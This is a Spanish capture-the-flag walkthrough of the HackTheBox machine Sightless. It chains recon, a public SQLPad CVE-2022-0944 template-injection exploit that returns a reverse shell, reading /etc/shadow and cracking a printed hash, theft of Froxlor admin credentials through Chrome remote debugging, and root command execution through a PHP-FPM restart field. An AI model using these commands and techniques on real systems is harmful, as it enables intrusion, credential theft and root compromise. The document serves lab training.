the_open_door
café
ESEN

Sightless

HackTheBoxFácilLinux10.10.11.32

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#sqlpad#template-injection#cve-2022-0944#docker#shadow#john#froxlor#chrome-debugging#php-fpm#linux
TL;DR. Sightless es una máquina Linux fácil. La web del puerto 80 enlaza a un servicio SQLPad (versión 6.10.0) en un subdominio. Esa versión es vulnerable a CVE-2022-0944, una inyección de plantillas en el endpoint de prueba de conexión que da RCE; el exploit nos suelta una shell como root, pero dentro de un contenedor Docker. En el /etc/shadow del contenedor está el hash del usuario michael; lo crackeamos con john y, como reutiliza la contraseña, entramos por SSH al host real y cogemos user.txt. Para root montamos un túnel SSH hacia un Froxlor interno y, abusando del depurador remoto de Chrome que corre en la máquina, capturamos las credenciales de administrador de Froxlor. Desde su panel, el campo de comando de reinicio de PHP-FPM se ejecuta como root y nos da la última flag.

Reconocimiento

Escaneo inicial

Tras el ping (TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Hay tres puertos abiertos: 21 (FTP), 22 (SSH) y 80 (HTTP).

Antes de lanzar nada, un directorio de trabajo con las cuatro carpetas de siempre, para que cada cosa acabe en su sitio y no en el ~:

mkt () {
    mkdir -p {content,nmap,scripts,exploits}
}

la función mkt del .zshrc, que crea de golpe los directorios content, nmap, scripts y exploits

cd machines/Sightless
ls

el ls del directorio de la máquina muestra content, exploits, nmap y scripts

content  exploits  nmap  scripts

El escaneo completo va dentro de la función jmap, que pide la IP y aplica las opciones de siempre, guardando el resultado en un fichero scan:

jmap () {
    echo -e "\n[+] Introduce una IP\n"
    read ip
    echo
    sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

la función jmap del .zshrc, que lee una IP y lanza el escaneo SYN completo con salida grepeable

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.32 -oG scan

nmap descubre tres puertos abiertos: 21 FTP, 22 SSH y 80 HTTP

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

El servidor web del 80 redirige a un nombre de host (sightless.htb), así que hay virtual hosting. Lo añadimos a /etc/hosts apuntando a la IP.

El fichero queda escrito en el directorio nmap:

ls

el ls del directorio nmap muestra el único fichero scan

scan

Y de ahí lo lee extractPorts, que extrae la IP y los puertos, los copia al portapapeles y de paso imprime lo extraído:

extractPorts () {
    ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
    ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
    echo "$ports" | xclip -sel clip
}

la función extractPorts del .zshrc, comentada paso a paso: leer la IP, extraer los puertos, guardarlos en un temporal y copiarlos con xclip

extractPorts scan

extractPorts devuelve IP Address 10.10.11.32 y Open ports 21,22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.32
Open ports: 21,22,80

Ports copied to clipboard

La segunda pasada, con detección de versión y scripts, va en jmap2, que solo necesita la IP y los puertos que acaban de quedar en el portapapeles:

jmap2 () {
    if [ "$#" -ne 2 ]; then
        echo "Uso: jmap2 <ip> <puertos>"
        return 1
    fi
    nmap -p"$2" -sCV "$1"
}

la función jmap2 del .zshrc, que valida los dos argumentos y lanza el escaneo -sCV sobre los puertos indicados

jmap2 10.10.11.32 21,22,80

el escaneo de versiones identifica ProFTPD en el 21, OpenSSH 8.9p1 en el 22 y nginx 1.18.0 en el 80, con el http-title Sightless.htb

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sightless.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El banner del FTP es el que regala el dominio: sightless.htb, que hay que llevar al /etc/hosts para que el 80 responda con algo más que su página por defecto.

echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts

/etc/hosts con la entrada de sightless.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.32     sightless.htb

Perfilamos la tecnología del 80 con whatweb: un nginx sirviendo una web corporativa. Más allá de un correo de contacto que confirma el dominio, no hay gran cosa.

whatweb sobre sightless.htb: nginx y poco más

El código fuente tampoco esconde comentarios ni rutas internas, pero sí confirma el correo de contacto y que la web es estática, sin framework:

el view-source de sightless.htb muestra una plantilla estática con fuentes de Google, Font Awesome y un mailto a sales@sightless.htb

<title>Sightless.htb</title>
<link rel="stylesheet" href="style.css">
<h4>Hello,we are</h4>
<h1> <span>Sightless</span>.htb</h1>
<a href="mailto:sales@sightless.htb" class="btn" style="color: black;"> Get In Touch</a>

La web y el subdominio de SQLPad

La portada es una web sencilla de una empresa de servicios, sin panel de autenticación ni funcionalidad sensible a la vista.

La portada de sightless.htb es una web corporativa estática

En la sección Our Services aparece, sin embargo, una pista clave: uno de los servicios es SQLPad (un editor web para lanzar consultas SQL contra bases de datos). El enlace apunta a un subdominio, sqlpad.sightless.htb.

La sección Our Services menciona SQLPad y enlaza a su subdominio

Añadimos también ese subdominio a /etc/hosts y lo visitamos. SQLPad nos sitúa directamente en su editor de consultas, pero ejecutar cualquier query exige una conexión configurada que no tenemos.

echo '10.10.11.32 sqlpad.sightless.htb' | sudo tee -a /etc/hosts

la tarjeta de SQLPad en la portada, con su descripción y el botón Start Now

SQLPad
SQLPad is a web app that lets users connect to various SQL servers via a browser.
Click "Start Now" to try a demo!
[ Start Now ]

Ese Start Now apunta a sqlpad.sightless.htb, un subdominio que también hay que resolver:

sudo nano /etc/hosts

el /etc/hosts con sightless.htb y sqlpad.sightless.htb en la misma línea

10.10.11.32     sightless.htb  sqlpad.sightless.htb

SQLPad presenta su editor de consultas en sqlpad.sightless.htb

10.10.11.32 sqlpad.sightless.htb

En sqlpad.sightless.htb/queries/new se ve el editor de SQLPad (barra Queries · New · History · Connections · Access) con una consulta nueva sin guardar y el desplegable choose connection vacío: no hay conexión configurada, así que no se puede lanzar SQL todavía.

Lo que el fuzzing no encontró (y por qué importa)

El subdominio ha salido leyendo la web, no fuzzeando, y merece la pena enseñar el camino largo porque explica una trampa habitual. El barrido de rutas del dominio principal saca una sola cosa:

dirsearch -u http://sightless.htb

dirsearch sobre sightless.htb solo encuentra /images

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://sightless.htb/

[16:06:38] 301 -  178B  - /images  ->  http://sightless.htb/images/
[16:06:39] 403 -  564B  - /images/

Task Completed

Un /images y un 403 al listarlo. Repetimos con un diccionario mucho mayor por si el pequeño se quedaba corto:

gobuster dir -u http://10.10.11.32 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 500 -b 302

gobuster recorre 1273833 palabras y termina sin un solo hallazgo

Progress: 1273832 / 1273833 (100.00%)
Finished

1 273 833 palabras y cero resultados. Con las rutas agotadas, el siguiente candidato son los subdominios, así que fuzzeamos por cabecera Host:

gobuster vhost -u http://10.10.11.32 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 500

gobuster vhost completa las 114442 palabras del diccionario sin encontrar ningún subdominio

Starting gobuster in VHOST enumeration mode
Progress: 114441 / 114442 (100.00%)
Finished

Nada tampoco. Y aquí está el punto interesante: cuando una herramienta no encuentra nada hay dos explicaciones posibles, que no haya nada o que la estemos usando mal, y conviene descartar la segunda antes de sacar conclusiones. La comprobación es sencilla: se fabrica un diccionario de cinco palabras que incluya a propósito el subdominio que ya conocemos y se vuelve a lanzar el fuzzer.

ffuf -c -w hola.txt -u http://FUZZ.sightless.htb

ffuf con el diccionario de cinco palabras encuentra sqlpad con un 200

:: Wordlist         : FUZZ: /home/krmena/hola.txt
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500

sqlpad                  [Status: 200, Size: 722, Words: 64, Lines: 22, Duration: 95ms]
:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00]

La técnica funciona perfectamente. Luego el problema no era el fuzzing, sino el diccionario, y eso se comprueba en un segundo:

cat /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt | grep "sqlpad"
cat /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt | grep "sqlpad"

los dos grep sobre los diccionarios no devuelven ninguna línea

(sin salida en ninguno de los dos)

Ninguno de los dos diccionarios contiene la palabra sqlpad, así que era imposible llegar al subdominio por fuerza bruta con ellos. La lección práctica es doble: la enumeración no es solo fuerza bruta (leer lo que la propia aplicación cuenta de sí misma habría ahorrado horas), y un resultado vacío nunca es una prueba de ausencia, solo dice que lo buscado no estaba en la lista. Como apunte, en este caso concreto también quedó pendiente probar --append-domain en gobuster vhost, que cambia la forma en que se construye cada cabecera Host.

Shell como root (en el contenedor)

SQLPad 6.10.0 y CVE-2022-0944

El panel entra sin pedir credenciales y deja escribir consultas, pero sin ninguna conexión configurada no hay nada contra lo que lanzarlas:

el editor de SQLPad en /queries/new, con el desplegable "... choose connection" vacío y el botón Run

SQLPad   Queries  New  History  Connections  Access
... choose connection        New unsaved query        [ Run ]

Lo importante de SQLPad no es ejecutar SQL, sino su versión, porque es lo que decide si hay vector o no. Encontrarla cuesta más de lo que parece: ni whatweb ni nmap la dicen. El siguiente intento es buscar algún recurso que la delate, tipo un CHANGELOG, barriendo rutas dentro del propio subdominio:

dirsearch -u http://sqlpad.sightless.htb

dirsearch lista decenas de rutas /api/... y todas responden 404, entre ellas /api/version

[21:09:59] 404 -   21B  - /api/swagger.json
[21:09:59] 404 -   21B  - /api/profile
[21:09:59] 404 -   21B  - /api/v1
[21:09:59] 404 -   21B  - /api/version
[21:09:59] 404 -   21B  - /api/whoami

Aparecen decenas de rutas de API, y una de ellas se llama literalmente /api/version. El problema es que todas responden 404 con el mismo cuerpo de 21 bytes, y al pedirla a mano se ve por qué:

curl http://sqlpad.sightless.htb/api/version

la petición a /api/version devuelve el JSON {"title":"Not found"}

{"title":"Not found"}

Un 404 con cuerpo JSON, no una página de error del servidor: la API existe y responde, pero no atiende a un cliente sin sesión. Vía cerrada. Y después de todo el rodeo, la versión estaba a un clic de distancia en el cuadro About del propio panel: 6.10.0.

El cuadro está donde nadie mira, en el menú de tres puntos de la esquina superior derecha:

el panel de SQLPad con el menú de tres puntos desplegado y la opción About resaltada

El cuadro About de SQLPad revela la versión 6.10.0

Esa versión es vulnerable a CVE-2022-0944: una inyección de plantillas (template injection) en el endpoint de prueba de conexión. SQLPad renderiza algunos campos de la conexión como plantillas EJS, y al inyectar una expresión de plantilla podemos saltar a ejecución de código en el servidor. Afecta a todas las versiones anteriores a la 6.10.1.

Búsqueda de CVE-2022-0944: template injection en el endpoint de prueba que lleva a RCE en SQLPad &lt; 6.10.1

Explotación: template injection a RCE

La técnica consiste en crear (o probar) una conexión cuyos campos contengan una expresión de plantilla que, al renderizarse, alcance child_process de Node y ejecute un comando. Existe una PoC pública que automatiza el proceso y devuelve una reverse shell; le pasamos la URL de SQLPad y nuestra IP/puerto de escucha.

git clone https://github.com/shhrew/CVE-2022-0944
cd CVE-2022-0944
# (la plantilla inyectada alcanza: process.mainModule.require('child_process').exec(<cmd>))
python3 main.py -u http://sqlpad.sightless.htb -i 10.10.16.x -p 443

Recibimos la shell. Al mirar quiénes somos y dónde estamos, vemos que somos root... pero el hostname es un identificador hexadecimal y la IP es 172.17.0.2: estamos dentro de un contenedor Docker, no en el host.

whoami        # root
hostname -I   # 172.17.0.2
hostname      # c184118df0a6
git clone https://github.com/shhrew/CVE-2022-0944.git

el git clone descarga los 11 objetos del repositorio shhrew/CVE-2022-0944

Cloning into 'CVE-2022-0944'...
remote: Total 11 (delta 2), reused 8 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (11/11), 4.08 KiB | 2.04 MiB/s, done.
cd CVE-2022-0944
ls

el ls del repositorio muestra LICENSE, README.md, main.py y requirements.txt

LICENSE  README.md  main.py  requirements.txt

El requirements.txt es la razón de que el exploit no arranque a la primera:

python3 main.py

la primera ejecución falla con ModuleNotFoundError: No module named 'pwn'

Traceback (most recent call last):
  File "main.py", line 4, in <module>
    from pwn import *
ModuleNotFoundError: No module named 'pwn'
pip3 install -r requirements.txt

pip3 instala las dependencias del exploit: bcrypt 4.2.0, capstone 5.0.3, certifi y cffi

Collecting bcrypt==4.2.0 (from -r requirements.txt (line 1))
  Downloading bcrypt-4.2.0-cp39-abi3-manylinux_2_28_x86_64.whl.metadata (9.6 kB)
Collecting capstone==5.0.3 (from -r requirements.txt (line 2))
  Downloading capstone-5.0.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.met
Collecting certifi==2024.8.30 (from -r requirements.txt (line 3))
  Downloading certifi-2024.8.30-py3-none-any.whl.metadata (2.2 kB)
Collecting cffi==1.17.1 (from -r requirements.txt (line 4))

Con las dependencias puestas, el exploit recibe la URL de SQLPad y el par IP/puerto del listener:

python3 main.py http://sqlpad.sightless.htb 10.10.15.39 4444

el exploit se pone a la escucha en el 4444, recibe la conexión desde 10.10.11.32 y entrega una shell con el prompt de root

[+] Trying to bind to 10.10.15.39 on port 4444: Done
[+] Waiting for connections on 10.10.15.39:4444: Got connection from 10.10.11.32 on port 44086
[*] Switching to interactive mode
/bin/sh: 0: can't access tty; job control turned off
#

La shell del exploit es root dentro de un contenedor Docker (172.17.0.2)

# whoami
root
# hostname -I
172.17.0.2
# hostname
c184118df0a6

El whoami da root, pero el hostname (un ID hex de contenedor) y la IP 172.17.0.2 confirman que estamos dentro de un contenedor Docker, no en el host.

Shell como michael (en el host)

El hash de michael en /etc/shadow

Lo primero dentro del contenedor es el barrido automático de siempre. Servimos linpeas.sh (repo) desde nuestra máquina y lo ejecutamos:

La shell llega sin TTY (can't access tty), así que lo primero es el tratamiento habitual:

script /dev/null -c bash

el script /dev/null convierte la shell en una bash con prompt root@c184118df0a6:/var/lib/sqlpad

# script /dev/null -c bash
Script started, file is /dev/null
root@c184118df0a6:/var/lib/sqlpad#

El hostname c184118df0a6 es el identificador corto de un contenedor, así que ya sabemos dónde estamos: dentro de un Docker, no en el host.

python3 -m http.server 80
wget http://10.10.15.39/linpeas.sh

el wget descarga los 804 KB de linpeas.sh en el contenedor mientras el http.server del atacante registra los GET; a la derecha se ven varios 404 previos por servir el fichero desde el directorio equivocado

--2024-09-09 20:35:40--  http://10.10.15.39/linpeas.sh
Length: 823059 (804K) [text/x-sh]
2024-09-09 20:35:41 (1.62 MB/s) - 'linpeas.sh.1' saved [823059/823059]

10.10.11.32 - - [09/Sep/2024 22:03:50] code 404, message File not found
10.10.11.32 - - [09/Sep/2024 22:05:16] "GET /linpeas.sh HTTP/1.1" 200 -

Los 404 de la derecha son el error clásico de levantar el http.server en un directorio y pedir el fichero desde otro; se resuelve arrancándolo donde está el script.

el servidor HTTP local sirviendo linpeas.sh en el puerto 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

linpeas arranca con su banner y su leyenda de colores, y avisa en rojo YOU ARE ALREADY ROOT!!!

LinPEAS-ng by carlospolop
LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)

Ese YOU ARE ALREADY ROOT resume la situación: somos root, pero de un contenedor.

El informe de linpeas no destapa nada aprovechable: ni SUID raros, ni capacidades, ni un montaje del socket de Docker que permita una fuga directa del contenedor. Es un resultado negativo, pero cambia el plan: si la salida no está en el contenedor, hay que buscar algo que sirva fuera. Y ahí es donde vuelve a la cabeza un dato del escaneo inicial, que el host tiene SSH abierto. Un /etc/shadow no es solo una lista de hashes del contenedor: puede ser la llave del host, si alguien reutiliza la contraseña.

cat /etc/passwd

el cat de /etc/passwd del contenedor: usuarios de sistema y, al final, node con uid 1000 y michael con uid 1001, resaltado

root:x:0:0:root:/root:/bin/bash
...
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

Dentro del contenedor hay un usuario michael, y ese nombre es el que hay que cruzar con el host.

cat /etc/shadow

/etc/shadow del contenedor contiene el hash de michael

michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWa...:19860:0:99999:7:::

Además de root, hay un usuario michael con un hash de contraseña (formato $6$, SHA-512).

Crackear el hash y entrar por SSH

Para crackearlo con john conviene primero combinar /etc/passwd y /etc/shadow con unshadow (así john reconoce el usuario y el hash juntos), y luego atacar con rockyou.txt.

unshadow passwd.txt shadow.txt > unshadowed.txt

el comando unshadow combina passwd.txt y shadow.txt en unshadowed.txt

(unshadow no imprime nada: escribe el resultado en unshadowed.txt)

unshadow no da salida por pantalla, simplemente vuelca en el fichero de destino cada usuario de /etc/passwd con el hash que le corresponde en /etc/shadow, que es el formato que john espera. Con eso ya se puede atacar el diccionario:

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

john crackea el hash de michael: insaneclownposse

insaneclownposse  (michael)
1g 0:00:00:07 DONE ...

La contraseña es insaneclownposse. Como michael también existe en el host y reutiliza la misma contraseña, la usamos para entrar por SSH al sistema real (saliendo del contenedor) y leer la primera flag.

ssh michael@10.10.11.32
# password: insaneclownposse
cat user.txt

SSH como michael en el host y lectura de user.txt

michael@sightless:~$ cat user.txt
5268ebde80987a98cd86137283ad7fc2

Shell como root

Túnel hacia el Froxlor interno

Enumerando el host (procesos, puertos en escucha) aparecen servicios que solo escuchan en localhost: un panel Froxlor (gestión de hosting) en el 8080 y un puerto auxiliar 44077 que necesita para funcionar. Como no son accesibles desde fuera, montamos un reenvío de puertos por SSH para traerlos a nuestra máquina.

ssh -L 8080:127.0.0.1:8080 -L 44077:127.0.0.1:44077 michael@10.10.11.32

Túnel SSH redirigiendo los puertos 8080 (Froxlor) y 44077 hacia nuestra máquina

michael@10.10.11.32's password:
Last login: Wed Sep 11 15:24:29 2024 from 10.10.15.39
michael@sightless:~$

Robar la sesión por Chrome remote debugging

En el host corre un Chrome en modo headless con depuración remota (lo delata el puerto auxiliar): un proceso automatizado que, cada poco, abre Froxlor e inicia sesión como administrador. El protocolo de depuración de Chrome permite inspeccionar y controlar ese navegador desde chrome://inspect. Configuramos ahí los puertos reenviados como objetivo de descubrimiento.

chrome://inspect/#devices  ->  Configure...  ->  127.0.0.1:8080 y 127.0.0.1:44077

Accedemos al depurador remoto de Chrome en chrome://inspect/#devices

En el diálogo Target discovery settings se añaden los dos puertos reenviados, y en cuanto se aceptan aparecen las pestañas remotas: dos instancias de Froxlor abiertas en admin.sightless.htb:8080/admin_logger.php?page=log.

el diálogo Target discovery settings con localhost:9222, localhost:9229, 127.0.0.1:8080 y 127.0.0.1:44077, y detrás dos Remote Target de Froxlor con sus enlaces inspect, pause, focus tab, reload y close

Target discovery settings
  localhost:9222
  localhost:9229
  127.0.0.1:8080
  127.0.0.1:44077

Remote Target #127.0.0.1
  Froxlor  http://admin.sightless.htb:8080/admin_logger.php?page=log
           inspect  pause  focus tab  reload  close

Pulsando inspect se abre un DevTools sobre el navegador de la víctima. Con la pestaña Network grabando, solo hay que esperar a que el proceso automatizado vuelva a iniciar sesión: la petición del formulario lleva los campos en claro.

el DevTools remoto sobre el panel de Froxlor, con la peticion index.php seleccionada y el bloque Form Data mostrando loginname: admin y password: ForlorfroxAdmin

index.php   ->   Form Data
  loginname: admin
  password:  ForlorfroxAdmin
  dologin:

Ahí están las credenciales de administrador de Froxlor: admin : ForlorfroxAdmin. Con ellas entramos al panel a través de nuestro túnel:

el login de Froxlor en 127.0.0.1:8080 con el usuario admin y la contraseña rellenos

Abusar de PHP-FPM en Froxlor

Ya dentro del panel (Froxlor 2.1.8), la sección PHP → PHP-FPM versions enseña de qué va el asunto:

la lista de versiones PHP-FPM de Froxlor con la configuración System default y su comando service php8.1-fpm restart

PHP-FPM versions (1)

Short description | In use for php-config(s)          | php-fpm restart command    | Configuration directory of php-fpm | Process manager control (pm)
System default    | Default Config                    | service php8.1-fpm restart | /etc/php/8.1/fpm/pool.d/           | dynamic
                  | Froxlor Vhost Config

Ese campo, "php-fpm restart command", guarda literalmente el comando que el panel ejecuta como root cada vez que recarga la configuración de PHP-FPM. En la configuración legítima es un service php8.1-fpm restart, pero nada impide que sea otra cosa: es ejecución de comandos directa, solo que a través de un formulario.

Hay una restricción práctica: no pueden coexistir dos configuraciones con el mismo Configuration directory of php-fpm, así que la nueva versión se crea con un directorio distinto del que ya usa la del sistema (/etc/php/8.1/... frente a /etc/php/7.4/...). Con eso, creamos una versión cuyo comando de reinicio copie la flag a una ruta que podamos leer:

el formulario Create new PHP version con el comando cp /root/root.txt /tmp/root.txt y el directorio /etc/php/7.4/fpm/pool.d/

Create new PHP version
  php-fpm restart command *          cp /root/root.txt /tmp/root.txt
  Configuration directory of php-fpm * /etc/php/7.4/fpm/pool.d/
  Process manager control (pm)       static
  The number of child processes      5

Guardar no basta: el comando solo se lanza cuando el panel recarga PHP-FPM. El interruptor está en admin_settings.php?page=overview&part=phpfpm:

la pantalla Settings PHP-FPM de Froxlor con el interruptor Enable php-fpm activado en azul y el botón Save abajo

Settings » PHP-FPM
  Enable php-fpm                          [ON]
  Default PHP configuration for new domains   Default Config
  Temp directory                              /var/customers/tmp/
  Use mod_proxy / mod_proxy_fcgi              [OFF]

Se desactiva y se guarda:

la misma pantalla con el interruptor Enable php-fpm ya desactivado, antes de pulsar Save

Y acto seguido se vuelve a activar y se guarda otra vez. Ese ciclo dispara el "restart command" como root. (Si los cambios no parecen aplicarse, cerrar sesión y volver a entrar tras cada paso ayuda.) Comprobamos el resultado desde la shell de michael:

ls /tmp

el listado de /tmp muestra el fichero root.txt recién copiado

michael@sightless:/tmp$ ls
1  Crashpad  root.txt  shell  systemd-private-...  tmux-1000  vmware-root_787-4290625459

La copia ha funcionado, pero el fichero sigue perteneciendo a root con sus permisos originales, así que michael todavía no puede leerlo. Se repite la jugada con una segunda configuración que le abra los permisos:

el formulario Create new PHP version con el comando chmod 644 /tmp/root.txt y el mismo directorio /etc/php/7.4/fpm/pool.d/

Create new PHP version
  php-fpm restart command *            chmod 644 /tmp/root.txt
  Configuration directory of php-fpm * /etc/php/7.4/fpm/pool.d/

la tabla de versiones PHP-FPM con la configuración pwned y su comando chmod 644 /tmp/root.txt junto a la del sistema

Short description | In use for php-config(s) | php-fpm restart command  | Configuration directory of php-fpm
pwned             | Configuration not in use | chmod 644 /tmp/root.txt  | /etc/php/7.4/fpm/pool.d/
System default    | Default Config           | chmod 777 /etc/passwd    | /etc/php/8.1/fpm/pool.d/
                  | Froxlor Vhost Config

Merece la pena fijarse en la fila de abajo: la configuración System default tiene como comando de reinicio un chmod 777 /etc/passwd, que es el rastro del propio autor de la máquina probando el vector. Tras el ciclo de desactivar y activar, el chmod se ejecuta como root y la flag queda legible. Máquina rooteada.

Tras repetir el ciclo de desactivar y activar, el chmod se ejecuta y el fichero queda legible:

ls -l /tmp
cat /tmp/root.txt

el ls -l de /tmp muestra root.txt con permisos -rw-r--r-- propiedad de root, y el cat devuelve la flag

michael@sightless:/tmp$ ls -l
-rw-r--r--  1 root    root      33 Sep 11 15:45 root.txt

michael@sightless:/tmp$ cat root.txt
53ecabf4760747767f5de1ab315cbb7d

Sightless completada: máquina rooteada

Cadena de ataque

HTTP sightless.htb (80)  ─►  Our Services: SQLPad  ─►  sqlpad.sightless.htb
  │
  ▼
SQLPad 6.10.0  ─►  CVE-2022-0944 (template injection)  ─►  RCE
  │
  ▼
shell root EN CONTENEDOR Docker (172.17.0.2)
  │  /etc/shadow
  ▼
hash de michael  ─►  unshadow + john  ─►  insaneclownposse
  │  reutilización de credenciales (SSH al host)
  ▼
michael @ host  ─►  user.txt
  │  port forwarding 8080/44077
  ▼
Froxlor interno + Chrome remote debugging  ─►  credenciales admin de Froxlor
  │  campo "php-fpm restart command" (se ejecuta como root)
  ▼
RCE como root  ─►  root.txt

Lecciones aprendidas

  • Una pista en la web vale más que mil diccionarios. El subdominio de SQLPad no aparecía fuzzeando (los diccionarios no contenían "sqlpad"); se descubría leyendo la sección Our Services de la propia web. La enumeración no es solo fuerza bruta: hay que leer lo que la aplicación cuenta de sí misma.
  • La versión de un servicio es media explotación. Identificar SQLPad 6.10.0 llevó directo a CVE-2022-0944. Exponer versiones en paneles About o cabeceras facilita el trabajo al atacante; mantener el software por encima de la 6.10.1 lo habría cerrado.
  • Un contenedor comprometido filtra credenciales del host. Ser root en el contenedor permitió leer su /etc/shadow; como michael reutilizaba la contraseña en el host, el "aislamiento" de Docker no sirvió de nada. Credenciales distintas por entorno habrían contenido el salto.
  • Los servicios internos no son invisibles. Froxlor solo escuchaba en localhost, pero un túnel SSH lo trajo a nuestra máquina. "Solo accesible en local" deja de ser una protección en cuanto alguien tiene una shell.
  • Automatizar un login deja la sesión expuesta. Un Chrome con depuración remota que se logueaba solo en Froxlor entregó sus credenciales a quien supiera mirar. Y un panel que ejecuta comandos arbitrarios como root (el "restart command" de PHP-FPM) convierte cualquier acceso de administrador en control total del sistema.
Cheatsheet de comandos 14 comandos

Repaso rápido